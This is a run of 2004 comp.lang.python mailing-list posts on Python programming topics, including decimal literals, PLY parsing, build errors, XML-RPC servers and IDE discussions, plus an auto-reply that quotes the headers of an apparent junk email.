ED(35.72, 6) ED('35.72') >>> ED(35.72, 'all') ED('35.719999999999998863131622783839702606201171875') >>> ED(35.72, 17) ED('35.71999999999999886') >>> ED(35.72, 16) ED('35.7199999999999989') >>> ED(35.72, 15) ED('35.719999999999999') >>> ED(35.72, 14) ED('35.72') Or you can specify the number with a string literal ED('35.72') >>> ED('3.572e1') ED('35.72') Interally it's represented as rational number with a decimal exponent factor, i.e., (numerator, denominator, powerof_10) >>> ED('3.572e1').astuple() (3572, 1, -2) > >A native Money type, either with the $ signal ($35.72) or the suffix >(35.72D) would not present the same issues, because the literal would >be converted directly to the fixed point representation without the >float intermediate step. > Hm, I see that D is a little too close to 0. Maybe 35.72d is easier to read, (unlike lower case L for longs). Regards, Bengt Richter From claird at lairds.us Thu Sep 30 17:08:29 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 30 Sep 2004 21:08:29 GMT Subject: Social Analysis and Modeling for Python References: <415AD6A4.7000400@cloudthunder.com> <4abs22-p18.ln1@lairds.us> <2s2q4uF1fcanvU1@uni-berlin.de> Message-ID: In article <2s2q4uF1fcanvU1 at uni-berlin.de>, val wrote: . . . >well, 'If this were my proposal, I'd aim for the far more powerful,' >"In addition to conventional wisdom, Python may be considered as >a unique *science tool* providing an opportunity (1) *to build models >programmatically* - using online experimental data, data-driven >techniques, and databases integrated with the models, (2) to keep >the models in a dynamic format available for online analysis, >testing, and updating. Such online science/reasoning tools may as well be a >unique >communication vehicle among scientists speeding up drastically >understanding complex/data-intensive phenomena such as genome dynamics, >social processes, terror networks, industrial dynamics, etc." > > > Hear, hear! Well-done. From alban at magproductions.nl Tue Sep 28 10:20:04 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Tue, 28 Sep 2004 16:20:04 +0200 Subject: QuotedString must be str? (psycopg) Message-ID: I noticed this: >>> from psycopg import * >>> print QuotedString(u"Unicode string") Traceback (most recent call last): File "", line 1, in ? TypeError: argument 1 must be str, not unicode Is it possible somehow to use a unicode string, or would I have to escape the strings with my own function (not really a problem, I did that before I found out QuotedString exists, but it seems a tad ugly...). Alban. From mauriceling at acm.org Sun Sep 19 19:12:32 2004 From: mauriceling at acm.org (Maurice LING) Date: Sun, 19 Sep 2004 23:12:32 GMT Subject: Using PLY In-Reply-To: <414acb08$0$2413$61ce578d@news.syd.swiftdsl.com.au> References: <414a6ca1$1@news.unimelb.edu.au> <414acb08$0$2413$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <414e125c$1@news.unimelb.edu.au> > > PLY can do much more then line counting. Build an AST then just count > your IF tokens. If you can use ply to recognise your if tokens, then you > can easility count them. How do I build an AST with PLY? I'm trying to find some examples of that but unsuccessful. > > It's kinda vague what you are wanting to do ? Is it source code you are > parsing or text with keywords ? > I'm trying to parse what looks like a 4GL source code. From cbbrowne at acm.org Fri Sep 3 09:41:48 2004 From: cbbrowne at acm.org (Christopher Browne) Date: 3 Sep 2004 13:41:48 GMT Subject: Xah Lee's Unixism References: <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <2prakrFoba1kU1@uni-berlin.de> After a long battle with technology, Andre Majorel , an earthling, wrote: > On 2004-09-02, John Thingstad wrote: > >> The fact that the NT kernel is not entirely stable yet really >> shouldn't supprise anyone. Afterall Unix has messed with it's >> kernel for 30 years. > > I feel compelled to point out that Linux achieved considerably > better stability after just a few years. Perhaps, but Linus and crew didn't have to start from not knowing what Unix "ought" to look like, and had the perspective of being able to look back at 20-odd years of the things that went well and badly with Unix. -- select 'cbbrowne' || '@' || 'acm.org'; http://www3.sympatico.ca/cbbrowne/nonrdbms.html If at first you don't succeed, try duct tape. If duct tape doesn't work, give up. From martin at v.loewis.de Thu Sep 9 14:45:05 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 09 Sep 2004 20:45:05 +0200 Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F In-Reply-To: <3035f851.0409090830.6bf21074@posting.google.com> References: <413dffc2$0$13052$9b622d9e@news.freenet.de> <3035f851.0409090830.6bf21074@posting.google.com> Message-ID: <4140A4B1.4000204@v.loewis.de> Unixtrekkor wrote: > I downloaded another copy and now when I compile I see the following > message: > > cc: Error: ./Modules/posixmodule.c line 3007: In this > statement,"getgrp" expects 0 arguments, but 1 are supplied. > (toomanyargs) > return PyInt_FromLong((long)getgrp(0)); > ---------^ > cc: Error: ./Modules/posixmodule.c line 3024: In this > statement,"setgrp" expects 0 arguments, but 2 are supplied. > (toomanyargs) > if (setgrp(0, 0) < 0) > -------------^ > *** Exit 1 > Stop. > > I am looking for the format of the getgrp and setgrp commands. Thanks > for your help. As a work-around, you could edit pyconfig.h, and remove the mentioning of HAVE_GETPGRP and HAVE_SETPGRP. Then, these wrappers won't get compiled. Regards, Martin From len-1 at telus.net Mon Sep 13 14:47:27 2004 From: len-1 at telus.net (Lenard Lindstrom) Date: Mon, 13 Sep 2004 18:47:27 GMT Subject: the FCNTL module is deprecated References: <4oidneSCbKpfLNjcRVn-iw@adelphia.com> Message-ID: <656it3cb.fsf@telus.net> Rob McCrea writes: > I wrote: > > > Hi all, > > On windows98SE, running Python 2.3.4 (#53, May 25 2004, 21:17:02) > > [MSC v.1200 32 bit (Intel)] on win32, the built-in help() function > > gives me > > a deprecation warning when used on my docstrings. > > just help() start the interactive help without error. > > Heres some minimalistic code to demonstrate this warning: > > My code wasn't the minimum, i guess its not my docstrings: > > """start testhelp.py""" > > class Object: > def __init__(self): > pass > > help(Object) > > """end testhelp.py""" > > > C:\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is > > deprecated; > > please use fcntl > > DeprecationWarning) > > Help on class Object in module __main__: > > class Object > > | class Object is an empty testing class > > | > > | Methods defined here: > > | > > | __init__(self) > > """end output""" > > I'm not particularly concerned with it, just being a warning which I > > might be able to suppress with python.exe parameters, but if anyone > > knows how to fix it, I'd like to fix it. I also had the same > > warning in 2.3.3, which lead me to upgrading which searching for a > > solution. I tried deleting all .pyc from my python\Lib directory, > > to no avail. I am new, am I missing a step in using help()? > I am running Windows 98 and do not get the deprecation warning. After some searching I chased the problem down to the PYTHONCASEOK environment variable, which is not defined on my system. C:\prg\Python23>python -V Python 2.3.3 C:\prg\Python23>python helptest.py Help on class Object in module __main__: class Object | Methods defined here: | | __init__(self) C:\prg\Python23>type helptest.py """start testhelp.py""" class Object: def __init__(self): pass help(Object) """end testhelp.py""" C:\prg\Python23>set PYTHONCASEOK=1 C:\prg\Python23>python helptest.py C:\PRG\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is deprecat ed; please use fcntl DeprecationWarning) Help on class Object in module __main__: class Object | Methods defined here: | | __init__(self) Lenard Lindstrom From guettli at thomas-guettler.de Wed Sep 15 11:20:53 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Wed, 15 Sep 2004 17:20:53 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> Message-ID: Am Wed, 15 Sep 2004 05:15:31 -0700 schrieb Fritz Bosch: > Greg Ewing wrote: > ... >> There wouldn't be much to see in the screenshots anyway. >> On a Mac it looks like anything else does on a Mac, and >> on Linux or Windows it (currently) looks like anything >> else that uses Gtk. > > Being built with PyGUI using Gtk using Gimp, does my > application become subject to the GPL? Hi, Gtk does not use Gimp. Gimp uses Gtk. And Gtk is AFAIK LGPL. You can use Gtk and pyGTK in your commercial application. Regards, Thomas From __peter__ at web.de Wed Sep 22 14:48:13 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 22 Sep 2004 20:48:13 +0200 Subject: namespace/dictionary quandry References: <1gkj42v.16ivchn5zt970N%aleaxit@yahoo.com> Message-ID: Jack Carter wrote: >> class WeirdNamespace: >> def __init__(self, d): self.d = d >> def __getitem__(self, n): return self.d.get(n,repr(n)) > > So, how and or where does this fit in with my example? > Does both the call to the function where I want to do > the eval() and self.push(line) command have to be in the > same namespace and or file for this to work? I use a slight variation of Alex' suggestion: class Locals(dict): def __getitem__(self, name): try: return dict.__getitem__(self, name) except KeyError: return name class CLI(code.InteractiveConsole): """Simple test of a Python interpreter augmented with custom commands.""" commands = { \ "attach" : "DoAttach" } def __init__(self, locals = None): # Call super-class initializer code.InteractiveConsole.__init__(self, locals, "") self.locals = Locals(self.locals) # Compile regular expression for finding commmands self.regexp = re.compile('[a-z]*') [The rest of the code is the same as in my previous post] Now try it: >>> for name in "abc": fed to the snake: for name in "abc": ... attach name fed to the snake: myparse.DoAttach([name]) ... attach noname fed to the snake: myparse.DoAttach([noname]) ... fed to the snake: DoAttach: ['a'] DoAttach: ['noname'] DoAttach: ['b'] DoAttach: ['noname'] DoAttach: ['c'] DoAttach: ['noname'] Unfortunately this will only work with Python 2.4. Here's a solution that might work for 2.3: [Does not require the above modifications] def process(self, line): indent = line.lstrip() # Attempt to match line against our command regular expression temp_line = string.lstrip(line) len_1 = len(line) len_2 = len(temp_line) white_spaces = len_1-len_2 if white_spaces: front_padding = line[0:white_spaces] match = self.regexp.match(temp_line) if match is not None: #self.write("process 1\n") # Extract the command and argument strings cmd_string = match.group() arg_string = string.lstrip(temp_line[match.end():]) # Find the function for this command in the command dictionary function = self.commands.get(cmd_string) if function is not None: args = parseArgs(arg_string) for arg in args: if arg not in self.locals: self.locals[arg] = arg line = makePythonCall("myparse." + function, args) if white_spaces: line = front_padding + line print "fed to the snake:", line # Return the line to be processed by Python return line I just ensure that all arguments not already in self.locals are added with their name as their value. (I also renamed 'parent' to 'self' - I could not stand it any longer :-) Note that I don't particularly like both hacks and would rather use plain old python functions with standard python syntax instead of your custom language. Peter From bdash at gmx.net Mon Sep 6 19:13:11 2004 From: bdash at gmx.net (Mark Rowe) Date: Tue, 7 Sep 2004 11:13:11 +1200 Subject: has anyone done a blog or forum engine in python? In-Reply-To: References: Message-ID: <523D26AA-005A-11D9-9CFC-000A95D05654@gmx.net> On Sep 7, 2004, at 12:45 AM, googleboy wrote: > I am looking at implementing a blog and a forum for a personal > website. I am also beginning to look at growing my programming skills > from newbie/mediocre to intermedaitely servicable and want to continue > doing this focussing on python. I've recently developed a Python-based blogging system named Snurf (). I've tried to KISS when writing Snurf as my previous attempts along similar lines have ended up being over-engineered. The current version uses the file system as the data store, but it is designed so that adding, eg. a database backend, should be relatively simple. While I have not officially "released" Snurf yet, the source code is available from my Subversion repository at . See for more information on obtaining the source. Regards, Mark Rowe From http Mon Sep 6 15:10:59 2004 From: http (Paul Rubin) Date: 06 Sep 2004 12:10:59 -0700 Subject: Secure delete with python References: Message-ID: <7xeklfw6v0.fsf@ruckus.brouhaha.com> Boris Genc writes: > I'm interested in something which is able to securely wipe data (from > single file to bunch of MB's), and that should run both on Linux and > Windows. I wrote something like that: http://www.nightsong.com/phr/crypto/keytree.py Explanation at: http://tinyurl.com/67beu From Scott.Daniels at Acm.Org Sun Sep 12 17:25:55 2004 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Sun, 12 Sep 2004 14:25:55 -0700 Subject: Lua versus C++ for embedded processor In-Reply-To: References: <45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com> Message-ID: <4144c3c6$1@nntp0.pdx.net> Cameron Laird wrote: > .... Yes, Lua implementation is, from all my experience, an > order of magnitude than the corresponding Perl effort. While this is a strange topic for c.l.p, I _am_ curious what this sentence meant to say. Perhaps: "order of magnitude less work than"? -Scott David Daniels Scott.Daniels at Acm.Org From indigo at bitglue.com Thu Sep 16 19:04:37 2004 From: indigo at bitglue.com (Phil Frost) Date: Thu, 16 Sep 2004 19:04:37 -0400 Subject: All together now, I'm a lumberjack In-Reply-To: References: Message-ID: <20040916230437.GA18890@unununium.org> I don't know about any python tools specifically, but if you are looking to typeset music, be sure to look at the supurb and free lilypond . On Thu, Sep 16, 2004 at 11:49:45PM +0100, M. Clift wrote: > Hi All, > > Does anyone know of any python stuff related to music notation for windows? > I'd eventually like to write some sort of notation program myself, but I am > at a loss at knowing where to start. > > Would anyone know, do all notation programs work in a similar way to display > music, and could someone give me an idea as to how they go about it. > > Thanks > > > -- > http://mail.python.org/mailman/listinfo/python-list From google_groups at theginnfamily.net Tue Sep 21 12:02:40 2004 From: google_groups at theginnfamily.net (Aaron Ginn) Date: Tue, 21 Sep 2004 09:02:40 -0700 Subject: Python as alternative to Visual Basic In-Reply-To: References: Message-ID: I just want to thank everyone who has responded thus far. It seems like Python will do what I require in terms of its COM interoperability. That's very good news! WxPython sounds like my best alternative to creating a cross-platform interface with what appears to be a nice Windows look and feel. That's something I'll definately investigate. Thanks, Aaron From lbates at swamisoft.com Mon Sep 13 17:52:36 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 13 Sep 2004 16:52:36 -0500 Subject: PIL - setting the width of lines in ImageDraw References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> Message-ID: There's nothing wrong with "slanted" rectangles. In PIL you just define upper left and lower right coordinates of the rectangle in pixels. That's what a thick line would do anyway. Larry Bates Syscon, Inc. "Erik Heneryd" wrote in message news:mailman.3265.1095107443.5135.python-list at python.org... > Larry Bates wrote: > > When you want lines wider than 1px you are actually > > drawing rectangles with fillcolor set to the line > > color. There is a drawrectangle method. > > Ever tried to draw a /slanted/ line? > > > Erik From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Wed Sep 29 02:42:42 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Wed, 29 Sep 2004 07:42:42 +0100 Subject: annoying behavior In-Reply-To: <9418be08.0409282010.6996584@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> <9418be08.0409281438.25e2abe@posting.google.com> <9418be08.0409282010.6996584@posting.google.com> Message-ID: Elbert Lev wrote: > Michael Hoffman wrote in message news:... > >>Can you post the results of your PyChecker run and the exact input to it? > > Here it is: > > Processing test... > C:\Python23\python.exe > C:\Python23\Lib\site-packages\pychecker\checker.py > test.py > Caught exception importing module test: > File "C:\Python23\Lib\site-packages\pychecker\checker.py", line > 576, in setupMainCode() > module = imp.load_module(self.moduleName, file, filename, smt) > File "test.py", line 16 > f = foo("1234") > File "test.py", line 5, in __init__() > self.f() > File "test.py", line 9, in f() > if self.r: > AttributeError: foo instance has no attribute 'r' > > Warnings... > > test:1: NOT PROCESSED UNABLE TO IMPORT > >>I think that what you want the Python compiler to do is harder than you >>think it is, and not all cases will be caught unless you actually run >>the program. If you noticed from the output, PyChecker is testing your testcase by actually *running the code.* If you just ran python test.py you would have found the error just as quickly. If you ran PyChecker on my testcase, or the original code that caused you problems (I'm guessing) you wouldn't have found it. > Sure not all! How would you propose an algorithm that will find the majority of these cases without running the code? I am claiming that this is nontrivial; you are claiming that it is not, so you should provide an indication of how this would be done. > Isn't this what Python is about - fast and fun programming, not > frustration. Yeah, but sometimes it's impossible > After all, if I want troubles, I always can use C or Java > :)) Yeah, but Python is not a silver bullet. -- Michael Hoffman From adurdin at gmail.com Tue Sep 14 21:18:47 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Wed, 15 Sep 2004 11:18:47 +1000 Subject: comparing datetime with date In-Reply-To: <1f7befae04091414167f3b37d4@mail.gmail.com> References: <1f7befae04091414167f3b37d4@mail.gmail.com> Message-ID: <59e9fd3a04091418183f344376@mail.gmail.com> On Tue, 14 Sep 2004 17:16:58 -0400, Tim Peters wrote: > [Donnal Walter] > > I was very surprised to discover that > > > > >>> import datetime > > >>> x = datetime.date(2004, 9, 14) > > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) > > >>> print x == y > > True > > > > How can these two objects be considered equal? > > They should not be. Please open a bug report. The problem is due to that > datetime.datetime is a subclass of datetime.date: Why should this be considered a bug? In my conception, a datetime.date covers the whole range of times within the date, so that this equality makes sense. It also allows for intuitive inequality comparisons between datetime.datetime and datetime.date. To make that more clear, it makes sense to me that comparisons between datetime.datetime and datetime.date should only compare the date part, and those between datetime.datetime and datetime.time should only compare the time part. This latter however throws an exception; I infer from that that the 'pythonic' way is to explicitly make a datetime.date or datetime.time from the datetime.datetime before comparing. So I guess I've answered my own question :) From lucrecia_oliveira at yahoo.com.br Thu Sep 9 14:14:52 2004 From: lucrecia_oliveira at yahoo.com.br (lucrecia_oliveira at yahoo.com.br) Date: Thu, 9 Sep 2004 11:14:52 -0700 (PDT) Subject: =?iso-8859-1?q?Resposta_autom=E1tica_do_Yahoo!?= Message-ID: <20040909181454.42A3D1E4009@bag.python.org> Obrigado por responder....fico muito feliz por isso adoro todos...Beijos da l?. -------------------- Original Message: X-Rocket-Spam: 200.103.29.57 X-YahooFilteredBulk: 200.103.29.57 X-Rocket-Track: 10: 20 ; SFLAG=OPENRELAY ; IPCR=g-w0,n0,g100 ; IP=200.103.29.57 ; SERVER=66.163.174.34 X-Originating-IP: [200.103.29.57] Return-Path: Received: from 200.103.29.57 (EHLO yahoo.com.br) (200.103.29.57) by mta106.mail.sc5.yahoo.com with SMTP; Thu, 09 Sep 2004 11:14:52 -0700 From: python-list at python.org To: lucrecia_oliveira at yahoo.com.br Subject: Your information Date: Thu, 9 Sep 2004 15:13:28 -0300 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Approved, here is the document. +++ X-Attachment-Type: document +++ X-Attachment-Status: no virus found +++ Powered by the new F-Secure OnlineAntiVirus +++ Visit us _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com From narshe at gmail.com Mon Sep 20 15:16:50 2004 From: narshe at gmail.com (Josh Close) Date: Mon, 20 Sep 2004 14:16:50 -0500 Subject: pipe command to script Message-ID: <4a0cafe204092012162263aee6@mail.gmail.com> How can I read input from stdin pipe from somewhere? ex: # echo hello | script.py I was thinking opening file() or popen() with sys.stdin, but that didn't work. I've done this before but don't have the code anymore and can't figure it out again. Thanks. -Josh From hercules.rockefeller at springfield.??.us Tue Sep 28 07:48:40 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Tue, 28 Sep 2004 07:48:40 -0400 Subject: SimpleXMLRPCServer In-Reply-To: References: Message-ID: Jeremy Jones wrote: > PhysicsGenius wrote: > >> Jeremy Jones wrote: >> >>> Istvan Albert wrote: >>> >>>> Yannick Turgeon wrote: >>>> >>>>> "Simple". What are its limitations? >>>> >>>> >>>> >>>> >>>> >>>> No limitations whatsoever ... it is "Simple" to use >>>> >>>> :-0 >>>> >>>> Istvan. >>>> >>> Simple indeed. I don't know for sure the reasons for naming it >>> "Simple". But it may have to do with the fact that the >>> out-of-the-box SimpleXMLRPCServer will only handle one request at a >>> time: a request comes in, the server accepts that request, blocking >>> until the method call returns, and the response is sent back to the >>> client. It does not spawn a thread per request. It does not >>> "select" among multiple requests. It will not create a thread pool >>> for you. If you want that added functionality, you can write a >>> little custom code to get it to spawn a thread per request. A little >>> more code to only spawn n number of threads. A little more code >>> still to create a thread pool. And if you want a server that >>> "select"s among multiple requests, I'm not 100% sure, but I bet >>> Twisted has one of those. >> >> >> >> I have a non-threaded, select()ing SimpleXML-RPC server. I have >> stressed it yet, but I have verified that the concept works. > > > Is this something that you wrote, or are you using Twisted? If it's > something you wrote, I'd love to see the code for it. > > Jeremy > Maybe "server" is too grand a term. This is running inside an actual server, but this is really just a snippet of code for doing select() on an XML-RPC server socket. server = XMLRPCServer.XMLRPCServer((ipAddr, port), logRequests=False) while(True): inputs, outputs, exceptions = select.select([server.fileno(),],[], [], configOptions['tick']) if inputs: server.handle_request() From peter at engcorp.com Tue Sep 21 16:10:47 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 16:10:47 -0400 Subject: python ides In-Reply-To: References: <41507c8f$0$25693$636a15ce@news.free.fr> Message-ID: Adam Victor Nazareth Brandizzi wrote: > On Tue, 21 Sep 2004 21:03:02 +0200, bruno modulix wrote: > >>"Proyect" ? Seems like our friend the troll Julio has changed its skin... > > > Dubious... It seems to be a hispanic[1] typo... > > [1] Or italic, polish, greek... something like it :) http://groups.google.ca/groups?q=group:comp.lang.python.*+proyect shows only 16 matches in all the years the group has been tracked. Yes, almost all were posts by "hispanic typos" (small pun, sorry), but two coming in the last couple of days, both by people who haven't heard of capitalization and are using the same method of posting, and the same User-Agent, make it rather more than merely "dubious", I think. As Dan pointed out, the headers tell us everything, even if the ranting style doesn't. Of course, Dan shares his first name with a certain anchorperson who is busy scraping egg of his face for making assumptions without good proof, so who knows. ;-) -this-thread-was-really-about-the-ides-of-python-ly y'rs, Peter "Yes, I fixed my From field" Hansen From rkern at ucsd.edu Mon Sep 20 23:30:00 2004 From: rkern at ucsd.edu (Robert Kern) Date: Mon, 20 Sep 2004 20:30:00 -0700 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? In-Reply-To: <10kv5qvr08gjtcd@news.supernews.com> References: <10kv5qvr08gjtcd@news.supernews.com> Message-ID: John Roth wrote: [snip] > As Jeff points out, Python is at the mercy of the platform's > C library - it does not have it's own numerical computation > library. It simply wraps the C library functions. > > You might want to look at one of the math packages. > SciPy comes highly recommended, it might do what > you need. SciPy does wrap the cephes library which has (presumably better) inverse trig functions, but does not, unfortunately, wrap those particular functions since Numeric provides them. Numeric just wraps the C library, too. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From fuzzyman at gmail.com Thu Sep 2 17:02:15 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 2 Sep 2004 14:02:15 -0700 Subject: Compiling Extension Modules Under Windows References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> <6f402501.0409020340.a307c3@posting.google.com> Message-ID: <6f402501.0409021302.772c271c@posting.google.com> "Mike C. Fletcher" wrote in message news:... > Michael Foord wrote: > ... > > >Can someone pelase clarify this for me. > >Will having this compiler allow python distutils to automagically > >compile extension modules without complaining it needs MSVC7 *and* > >without tweaking distutils.... ?? (some hope really !!) > > > > > There's some minor tweaking of distutils required. See the instructions > here: > > http://www.vrplumber.com/programming/mstoolkit/ > > it's not the most convenient situation in the world, but it's doable for > people who are comfortable with a bit of hacking around. > > As of yet I've had precisely no-one confirm (or deny, or even mention > trying and failing, for that matter) that they too have been able to use > the process to compile a module, but it seems to work fine with the > modules I've tested. > > Have fun, > Mike > Aha... this looks like exactly the answer I was looking for.. and more. Thanks Fuzzyman http://www.voidspace.org.uk/atlantibots/pythonutils.html > ________________________________________________ > Mike C. Fletcher > Designer, VR Plumber, Coder > http://www.vrplumber.com > http://blog.vrplumber.com From aurora00 at gmail.com Thu Sep 16 20:33:50 2004 From: aurora00 at gmail.com (aurora) Date: Thu, 16 Sep 2004 17:33:50 -0700 Subject: too many self In-Reply-To: <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com> References: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> <10kjrvs2hmb19a5@corp.supernews.com> <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com> Message-ID: <10kkc7hq9fuvt20@corp.supernews.com> Alex Martelli wrote: > aurora wrote: > ... > >>Of couse I think this syntax the best: >> >> if max < list[index]: >> max = list[index]: > > > Just to ensure that the best approach, > self.max = max(self.max, self.list[index]) > isn't available any more, _and_ you can't use the list built-in name any > more either? What a scoop! > > > >>This remind me of those awful Hungarian notation. > > > Explicit scope denotation, and Hungarian notation (which prefixes names > with type-connected prefix strings), have essentially nothing to do with > each other, of course. Making classes implicit scopes (like, say, C++, > but differently from, say, Modula-3) is simply a horrid mess, where you > can't use bare names safely without carefully studying all the internals > of all your ancestor classes... and if any such ancestor ever adds a > private name it can break every subclass which _did_ use bare names. A > bad idea even in a language where the compiler can find out statically > where every name comes from (because human readers can't), just as bad > as "from foo import *" in Python or "using namespace foo" in C++ except > that you can't avoid it by just eschewing one misdesigned construct. > > In a language where even the compiler _cannot_ tell statically which > bare names come from where (except for functions' locals), criticizing > the language design choice of _not_ making classes into implcit scopes > doesn't even _verge_ on the ridiculous -- it plunges right deep into it. > > > Alex I'm not making any serious criticism on the language or how it should do name binding. I'm ranting about having to attach a prefix to names often make simple things look complicated. An annoyance when it has to be done very often. You got the point? From __peter__ at web.de Thu Sep 16 03:24:16 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 16 Sep 2004 09:24:16 +0200 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <20040915212023.23b6fe0b@gypsy.pfortin.com> Message-ID: Pierre Fortin wrote: >> > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"], >> > os.stat("%s" % path))) > > What does zip() have to do with this situation...? It combines the items in the names list with the os.stat() result tuple to a list of (name, value) pairs that are then used to initialize the dictionary. For example: >>> name_value_pairs = zip(["name1", "name2", "nameN"], ["va11", "val2", "valN"]) >>> name_value_pairs [('name1', 'va11'), ('name2', 'val2'), ('nameN', 'valN')] >>> dict(name_value_pairs) {'nameN': 'valN', 'name2': 'val2', 'name1': 'va11'} >> Why build the dictionary at all. Use the named attributes provided by >> os.stat: >> >> mode = os.stat(f).st_mode >> >> That should meet the original readability goals. > > That'll teach me to use examples that already have named attributes... :^) > I'm looking to do this generically -- ignore the few that do have named > attributes; there are plenty without that I'd like to address... > > The goal is to use the dict in string mapping keys as indicated in my > original post. You can still do that while relying on the existing names: >>> class ObjectAsDictAdapter: ... def __init__(self, obj): ... self.obj = obj ... def __getitem__(self, key): ... return getattr(self.obj, key) ... >>> import os >>> st = os.stat("tmp.py") >>> "%(st_mtime)s %(st_size)s" % ObjectAsDictAdapter(st) '1095318348 2' >>> You can easily add an analogous def __setitem__(self, key, value): setattr(self.obj, key, value) but it won't work in the above example as the stat tuple is immutable. If you need other attributes (like filename in your original post) you can solve that with Raymond Hettinger's Chainmap http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/305268 #untested "%(filename)s %(st_size)s" % Chainmap(ObjectAsDictAdapter(st), dict(filename=filename)) Peter From albalmer at att.net Fri Sep 3 18:14:55 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 03 Sep 2004 15:14:55 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: On Fri, 03 Sep 2004 15:24:46 -0600, Anne & Lynn Wheeler wrote: >fist stage: >http://en.wikipedia.org/wiki/S-IC > >is 138ft ... about the same length as the assembled shuttle booster >rocket ... but 33ft in diameter. can you imagine the saturn v first >stage being built someplace in 40ft sections .... as well as down >its length 40ft long section down the length ... sort of like a pie >... say 8ths ... what is the straight line between the end points for >1/8th arc of a 33ft diamter circle ... I don't really know what imagination has to do with the question. I can imagine it being carved into 1277 pieces, but won't offer that as a meaningful argument. Here in Arizona, we recently had a transformer delivered. On a 800,000 pound, 280 foot long rig. By highway. No barges involved. As for the reference to Hatch, that's exactly what the OP was writing about. I apologize for not having the time to read and research your comments properly, so if it seems that I'm just picking on your logic, or lack thereof, you are correct. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From mauriceling at acm.org Sun Sep 19 19:18:23 2004 From: mauriceling at acm.org (Maurice LING) Date: Sun, 19 Sep 2004 23:18:23 GMT Subject: Using PLY In-Reply-To: <4b39d922.0409171206.1ed5003d@posting.google.com> References: <414a6ca1$1@news.unimelb.edu.au> <4b39d922.0409171206.1ed5003d@posting.google.com> Message-ID: <414e13bc$1@news.unimelb.edu.au> > > Here's a kludgy but quick solution- modify the LexToken class in > lex.py to keep track of number of type occurences. > > class LexToken(object): # change to new style class > type_count = {} # store the count here > def __setattr__(self, key, value): > if key == 'type': > # when type attribute is assigned, increment counter > if value not in self.type_count: > self.type_count[value] = 1 > else: > self.type_count[value] += 1 > object.__setattr__(self, key, value) > > # ... and proceed with the original definition of LexToken > > def __str__(self): > return "LexToken(%s,%r,%d)" % > (self.type,self.value,self.lineno) > def __repr__(self): > return str(self) > def skip(self,n): > try: > self._skipn += n > except AttributeError: > self._skipn = n > ----------------------------------------- > > After you've run the lexer, lex.LexToken.type_count will the contain > number of occurences of each token type. > > ----------------------------------------- > > (Caveats- 1. I haven't tested this code. 2. I've got PLY 1.3; > syntax may have changed in newer versions. In fact, I hope it's > changed; while PLY works very well, its usage could be way more > pythonic) I may be an idiot here but I don't quite see how LexToken.__setattr__ is called. There seems to be a gap in my logics. Please assist. Thanks Maurice From kirk at eyegor.jobsluder.net Sun Sep 12 23:59:13 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 13 Sep 2004 03:59:13 GMT Subject: MD5 and SHA cracked/broken... References: <7xacvwn01v.fsf@ruckus.brouhaha.com> <7xekl6yjko.fsf@ruckus.brouhaha.com> Message-ID: On 2004-09-13, Paul Rubin <> wrote: > Kirk Job-Sluder writes: >> SHA-1, SHA-256, SHA-384, and SHA-512 are all in the same family so a >> fundamental break in SHA-1 should make the other three more vulnerable >> as well. > > SHA-256 is in the "same family" as SHA-1 only in the same sense that > SHA-1 is in the same family as SHA-0. You really can't conclude > anything like what 